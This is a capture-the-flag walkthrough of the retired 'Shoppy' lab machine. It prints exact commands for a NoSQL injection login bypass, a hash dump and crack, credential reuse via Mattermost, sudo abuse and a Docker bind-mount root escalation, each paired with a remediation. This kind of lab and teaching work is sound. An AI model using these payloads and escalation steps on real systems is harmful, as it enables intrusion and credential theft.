← all walkthroughs

Shoppy

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-07-06
time to own
5m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a shopping web app (shoppy.htb) whose login form and admin user-search both accepted MongoDB operator injection. Auth bypass delivered the admin panel; a second injection against the search endpoint dumped the MD5 password hashes of every registered user. The hash for the 'josh' account cracked instantly against a common wordlist, and that plaintext password was reused to authenticate into a Mattermost team-chat instance discovered on port 9093, where a dev-channel message posted the SSH password for the 'jaeger' system account in cleartext.

Once on the box as jaeger, a misconfigured sudo rule allowed running a compiled password-manager binary as the 'deploy' user; supplying its hard-coded master password printed deploy's cleartext SSH credential. The deploy account belonged to the docker group, which I weaponised by bind-mounting the host root filesystem into a disposable container — yielding full read/write access to every file on the system without a single kernel exploit.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for jaeger>"
export PASSWORD3="<the-password-you-recovered, for deploy>"
export PASSWORD4="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <josh_md5_hash> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationVirtual host enumeration (T1595.003)
Mapped services and discovered virtual hosts
A port scan identified three open TCP ports: SSH on 22, nginx on 80, and a Go HTTP service on 9093. Browsing port 80 redirected to the shoppy.htb virtual host, exposing a login page for a shopping application. Subdomain fuzzing against the base domain revealed a second vhost, mattermost.shoppy.htb, serving a Mattermost team-chat instance.
Exact commands 3
shell

Confirm service versions on all three ports.

$ nmap -sV -p 22,80,9093 $TARGET
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.23.1
9093/tcp open http Golang
shell

Register both discovered vhosts for local resolution.

$ echo "$TARGET shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hosts
shell

Fuzz for subdomains; mattermost returns HTTP 200.

$ ffuf -u http://shoppy.htb/ -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301
2ExploitationNoSQL injection authentication bypass (CWE-943)
Bypassed the Shoppy login with NoSQL injection
The login form at shoppy.htb passed the username field directly into a MongoDB query with no sanitization or type enforcement. Submitting a JavaScript operator expression as the username caused the query to match every document in the users collection, returning a valid admin session without a correct password.
— Critical. Admin session cookies issued; admin panel subsequently accessible.
Exact commands 2
shell

Payload decodes to: username=admin'||'1=='1 — forces the MongoDB query to evaluate true for every document, returning an admin session.

$ curl -sS -c cookies.txt -X POST http://shoppy.htb/login -d 'username=admin%27%7C%7C%271%3D%3D%271&password=x' -L
shell

Verify admin panel access with the session cookie from the previous step.

$ curl -sS -b cookies.txt http://shoppy.htb/admin
FixParameterize all MongoDB queries to eliminate NoSQL injectionCritical
WeaknessBoth the login form and the admin user-search endpoint concatenated user input directly into MongoDB query objects with no sanitization. Submitting a JavaScript operator expression (||'1=='1) caused every query to match unconditionally, granting admin access with no valid credential and then exfiltrating every user record in the database.
FixReplace every dynamic MongoDB query with parameterized queries or a typed ODM (e.g., Mongoose with strict schema validation) that rejects non-string inputs and strips MongoDB operator characters ($, ., ') at the API layer before the value ever reaches the database driver. Apply this fix uniformly across all search, filter, and authentication endpoints — not just the login form.
3Credential AccessNoSQL injection data exfiltration (CWE-943)
Dumped all user password hashes via the admin search endpoint
The admin panel's user-search feature passed the query parameter into the same unsanitized MongoDB lookup. Injecting a wildcard NoSQL expression returned every user record in the database, including the usernames and stored MD5 password hashes for the 'admin' and 'josh' accounts.
Admin and josh MD5 hashes recovered from search response; josh hash subsequently cracked.
Exact commands 1
shell

Inject into the search parameter; response returns all user documents including plaintext-equivalent MD5 hashes.

$ curl -sS -b cookies.txt 'http://shoppy.htb/admin/search-users?username=admin%27%7C%7C%271%3D%3D%271'
4Credential AccessOffline password hash cracking (T1110.002)
Cracked josh's MD5 hash to recover the plaintext password
The recovered hash for josh was an unsalted MD5 digest. Running it against the rockyou wordlist resolved it to the plaintext <withheld> in seconds, demonstrating that unsalted MD5 hashes provide no meaningful protection against offline cracking on modern hardware.
Hash cracked to the password; same credential reused to authenticate to Mattermost in the next step.
Exact commands 2
shell

Paste the MD5 hash recovered from step 3; replace <josh_md5_hash> with the actual value.

$ echo '<josh_md5_hash>' > josh.hash
shell

MD5 mode (-m 0) against rockyou; resolves to $PASSWORD in seconds.

$ hashcat -m 0 josh.hash /usr/share/wordlists/rockyou.txt --show
FixReplace unsalted MD5 password storage with a modern adaptive hashCritical
WeaknessUser passwords were stored as unsalted MD5 digests. MD5 is a general-purpose cryptographic hash with no work factor; a common plaintext resolves from its hash in seconds on commodity hardware with a standard wordlist, so a single database read gave an unauthorised user a usable credential.
FixMigrate all password storage to bcrypt (minimum cost 12), scrypt, or Argon2id. During the migration, re-hash passwords on next successful login. Invalidate and force a reset for any account whose MD5 hash was exposed. Going forward, never use MD5, SHA-1, or any unhashed or unsalted scheme for credential storage.
5Credential AccessCredentials in internal communication platform (T1552.001)
Logged into Mattermost and found SSH credentials posted in a chat channel
Josh's cracked password authenticated against the Mattermost instance at mattermost.shoppy.htb. Inside an internal 'Deploy Machine' developer channel, an administrator had posted the SSH password for the system account 'jaeger' in cleartext as part of a routine credential handoff — handing me a direct path to the production host.
Mattermost dev channel contained jaeger's password in plaintext.
Exact commands 2
shell

Authenticate to the Mattermost API and capture the session token from the Token response header.

$ curl -sS -X POST http://mattermost.shoppy.htb/api/v4/users/login -H 'Content-Type: application/json' -d '{"login_id":"josh","password":"'"$PASSWORD"'"}' -D - | grep -i token
shell

List teams, then enumerate channels within each team to locate the dev channel containing the jaeger credentials.

$ curl -sS http://mattermost.shoppy.htb/api/v4/teams -H 'Authorization: Bearer <TOKEN>'
FixRemove credentials from Mattermost and enforce a secrets management policyHigh
WeaknessThe SSH password for the 'jaeger' production system account was posted in plaintext in a Mattermost dev channel as part of a routine handoff. Any team member with channel access — or anyone who compromised any such member — received a direct path to the production host.
FixPurge all credential material from Mattermost channel history immediately. Enforce a written policy that passwords, SSH secrets, and API keys are never shared over messaging platforms. Provision a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) for all credential distribution; rotate every credential that has ever appeared in chat.
6FootholdValid accounts — SSH password authentication (T1078.003)
Gained an interactive shell as jaeger and read the user flag
The SSH password recovered from Mattermost authenticated successfully for the 'jaeger' account over OpenSSH on port 22. This delivered a persistent interactive shell on the target host as a non-root user and gave access to the user flag in jaeger's home directory.
Sshpass -p <withheld> ssh jaeger@$TARGET 'id; find /home -name user.txt ...' returned uid=1000(jaeger) and the flag.
Exact commands 2
shell

Confirm shell execution as uid=1000(jaeger).

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'id'
shell

Read the user flag -> <user.txt>

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'cat ~/user.txt'
7Privilege EscalationSudo misconfiguration — NOPASSWD on credential-dispensing binary (T1548.003)
Extracted the deploy account password from a password manager via a misconfigured sudo rule
Running sudo -l as jaeger revealed a rule allowing execution of /home/deploy/password-manager as the 'deploy' user with no password prompt. The compiled binary prompted for a master password. The master password had been shared in the Mattermost channel and was also hard-coded in the binary itself. Supplying it printed the deploy account's SSH password to stdout in cleartext.
— Critical. Deploy's password obtained.
Exact commands 2
shell

Run from jaeger's SSH session; reveals: (deploy) NOPASSWD: /home/deploy/password-manager

$ sudo -l
shell

Execute the binary as deploy; enter '$PASSWORD4' as the master password when prompted — the binary prints deploy's plaintext SSH credential.

$ sudo -u deploy /home/deploy/password-manager
FixRemove the NOPASSWD sudo rule granting jaeger access to the password manager binaryHigh
WeaknessA sudo rule permitted jaeger to execute /home/deploy/password-manager as the 'deploy' user with no password prompt. The binary accepted a hard-coded master password and printed the deploy account's cleartext SSH credential to stdout, turning a one-line sudo command into an immediate lateral-move to another account.
FixDelete the rule from /etc/sudoers or /etc/sudoers.d/ and verify with visudo. Never grant NOPASSWD sudo to binaries that access, decrypt, or output credential material. If cross-account automation is a genuine operational requirement, use a PAM-integrated secrets manager that enforces per-request authentication, short-lived tokens, and a full audit log.
8Privilege EscalationDocker group privilege escalation — container filesystem bind-mount (T1611)
Mounted the host filesystem in a Docker container to read the root flag as UID 0
The deploy account was a member of the docker Unix group, which grants effective root over the Docker daemon socket. I launched a minimal Alpine container, bind-mounted the entire host root filesystem at /mnt, and used chroot to switch into it as UID 0. Every file on the host — including /root/root.txt — was immediately readable and writable without any kernel exploit.
Sshpass … deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt' succeeded and returned the root flag.
Exact commands 2
shell

Confirm deploy's group membership includes 'docker'.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no deploy@$TARGET 'id; groups'
shell

Bind-mount host / into a container running as root; reads the root flag ( -> <root.txt>).

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt'
FixRemove the deploy account from the docker groupCritical
WeaknessMembership in the docker Unix group grants unrestricted access to the Docker daemon socket, which runs as root. A single docker run command with a bind-mount of / gave an unauthorised user a root-level view of every file on the host — no kernel exploit required, no privilege-escalation binary needed.
FixRemove deploy from the docker group immediately: gpasswd -d deploy docker. Audit every host for users in the docker group and remove all non-essential members. For services that must manage containers, use Rootless Docker or Podman in rootless mode, or expose container management through a narrowly scoped API with explicit authorization checks rather than via group membership.

Exposed services

22/tcp
80/tcp
9093/tcp